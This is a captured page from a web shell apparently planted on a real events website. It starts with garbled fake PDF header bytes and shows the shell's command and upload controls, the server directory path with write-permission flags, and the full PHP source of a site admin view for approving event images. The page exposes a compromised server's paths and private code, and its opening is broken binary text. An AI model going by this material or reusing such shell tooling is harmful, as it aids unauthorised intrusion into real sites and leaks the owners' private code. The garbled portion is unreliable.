%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/www.shardaevents.com/application/views/admin/events/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/www.shardaevents.com/application/views/admin/events/postimages.php
<div id="content-wrapper">
  <div class="container-fluid">
     <!-- Breadcrumbs-->
	  <ol class="breadcrumb">
		 <li class="breadcrumb-item">
              <a href="<?php echo site_url('admin/dashboard'); ?>"><i class="fas fa-fw fa-tachometer-alt"></i> Dashboard</a>
         </li>
		<li class="breadcrumb-item">
		  <a href="<?php echo site_url('admin/events'); ?>"> Events</a>
		</li>
		<!--li class="breadcrumb-item active"><?php if($sd['id']>0) { echo 'Edit'; } else { echo 'View New'; }?> Event</li-->
	  </ol>
	  <!-- Page Content -->
      <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3><i class="fa fa-plus-circle" aria-hidden="true"></i> <?php if($sd['id']>0) { echo 'Edit Event'; } else { echo 'View Event'; }?> Images</h3></div>
		</div>
		 <!---- Success Message ---->
		<?php if ($this->session->flashdata('success')) { ?>
		<p style="color:green; font-size:18px;"><?php echo $this->session->flashdata('success'); ?></p>
		<?php } ?>
		
		<!---- Error Message ---->
		<?php if ($this->session->flashdata('error')) { ?>
		<p style="color:red; font-size:18px;"><?php echo $this->session->flashdata('error');?></p>
		<?php } ?> 
		<div class="card-body form-body form-body1">
		<?php echo form_open('admin/events/digitalteamimages', 'onsubmit ="return false" id="events_form"'); ?>
				   <div class="card-body">
				 <?php 
				$digitalroleArray = array('6','7');
				?>
				   <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0">
                  <thead>
                    <tr>
					<th>Sr. No.</th>
					<th>View</th>
					<th>Images</th>
					<th>Action</th>
					<th>Comments</th>
					<th>Approval Authority</th>
					<th>Status</th>
					</tr>
                  </thead>
                  <tbody>
					<?php
					if(count($reportArray)) :
					$cnt=1; 
					foreach ($reportArray as $val) :
					$id =$val['id'];
					$event_id =$val['event_id'];
					?>   					
                    <tr>
						<td><?php echo htmlentities($cnt);?></td>
						<td><?php if($val['image']<>'') { ?>
						<p><a href="<?=base_url('attachments/files/eventimages/'.$val['image'])?>" target="_blank"><i class="fas fa-file"></i>&nbsp;<?=$val['image']?></a></p>
						<input type="hidden" name="old_banner_image" value="<?=$val['image']?>" />
						<?php } ?>
						</td>
						<td><img src="<?php echo base_url('attachments/files/eventimages/'.$val['image']); ?>" width="50" height="50"></td>
						<?php if(in_array($this->session->userdata('adid')->role_id,$digitalroleArray) || $this->session->userdata('adid')->role_id == '1' || $this->session->userdata('adid')->role_id == '3') { ?>
						<td>
						<input type="hidden" name="event_id" value="<?php echo $val['event_id']?>" />
						<!-- <?php echo  anchor("admin/events/uploadpictures/{$event_id}",' ','class="fa fa-edit"');?> -->
						<?php if($val['verified_dm']=='2') { ?>
						<?php echo  anchor("admin/events/deletepostimages/{$id}",' ','class="fa fa-trash"'); ?>
						<?php } ?>
						</td>
						<?php } ?>
						<?php if($val['verified_dm'] === '1') {?>
							<td><?php echo $val['comment']; ?></td>
						<?php } else { ?>
						<td>
							<input type="text" name="comment" id="comment_<?= $val['id'] ?>" value="<?php echo $val['comment']; ?>" maxlength="250" />
						</td>
						<?php } ?>
						<?php if($val['verified_dm'] == '1') {?>
							<td style="color: green">Approved By Digital Team</td>
						<?php } else if($val['verified_dm'] == '2') { ?>
							<td style="color: red">Declined By Digital Team</td>
						<?php } else { ?>
						<td>
					    	<input type="hidden" name="event_id" id="event_id" value="<?=$recordsArray['id']?>" />
					    	<input type="hidden" name="author_id" id="author_id" value="<?=$recordsArray['author_id']?>" />
							<?php if($val['verified_dm']=='0'){?>
								<select class="form-control" name="event_status" id="event_status_<?= $val['id'] ?>" required>
									<option value="">Select ....</option> 
									<?php foreach($statusArray as $row) { ?>
										<option value="<?=$row['id']?>"> <?php if($sd['status']==$row['id']) { echo 'selected'; }?><?=$row['display_name']?></option>
									<?php } ?>				
								</select>	
							<br />
							<a href="<?php echo base_url('admin/events/digitalteamimages/'.$val['id'])?>"><button type="button" name="save"value="Save" onclick="updateStatus(<?= $val['id'] ?>)" class="btn btn-primary btn-block">Save</button><input type="hidden" name="id" value="<?php echo $val['id']?>" /></a>		
							<?php } ?>						
						</td>
						<?php } ?>
						<?php if(in_array($this->session->userdata('adid')->role_id,$digitalroleArray) || $this->session->userdata('adid')->role_id == '1' || $this->session->userdata('adid')->role_id == '3') { 
							$status = ($val['verified_dm']=='1') ? '<span style="color:green;">Approved</span>' : (( $val['verified_dm']=='2') ? '<span style="color:red;">Declined</span>' : '<span style="color:red;">Pending</span>');
							?>
							<td><?= $status ?></td>
						<?php } ?>
					</tr>
			    <?php 
				$cnt++;
				endforeach;
				else : ?>
				<tr>
				<td>No Record found</td>
				<td>&nbsp;</td>
				<td>&nbsp;</td>
				<td>&nbsp;</td>   
				<td>&nbsp;</td>     
				<td>&nbsp;</td>     
				<td>&nbsp;</td>     
                </tr>
				<?php
				endif;
				?> 			
               </tbody>
                </table>
				
              </div>
           <?php echo form_close(); ?>
	</div>
   <!-- /.container-fluid -->  
</div>

<script>
	function approve_login_status(id){
	//if(confirm('Are you sure you want to approve?')){
      $.ajax({
				
				  type: "POST",
				  url: '<?=base_url('admin/events/approveevent')?>',
				  data: { id : id }, // pass it as POST parameter
				  success: function(data){
					  //console('success');
					// if(data>0){
					// 	$('#login_approve_'+id).removeClass('button1');
					 	$('#approve_status_'+id).html('Approved');
						location.reload(true);
					 	//$('#approved_status_'+id).html('Approved');
					// 	$('#login_success_msg').fadeIn().html('<br><h5 style="color:green">Succesfully Approved!!</h5>');
                    //     setTimeout(function() {
				    //      $('#login_success_msg').fadeOut(5000);
                    //      }, 1000 );
					// 	//$('#login_success_msg').html('<p style="color:green">Succesfully Approved!!</p>');
					// } 
				 }
		});
	//}
}

//update status
function updateStatus(id) {
	$('#submit_button').prop('disabled', true);
	let comment 	= $(`#comment_`+id).val();
	let imageId 	= id;
	let eventStatus	= $('#event_status_'+id).val();
	$.ajax({
		url : "<?= base_url('admin/events/updateindivisualimages') ?>",
		type: "POST",
		data : {comment:comment, imageId:imageId, eventStatus:eventStatus},
		dataType : "JSON",
		success: function(resp) {
			window.location.reload();
		}
	});
}
</script>

Kontol Shell Bypass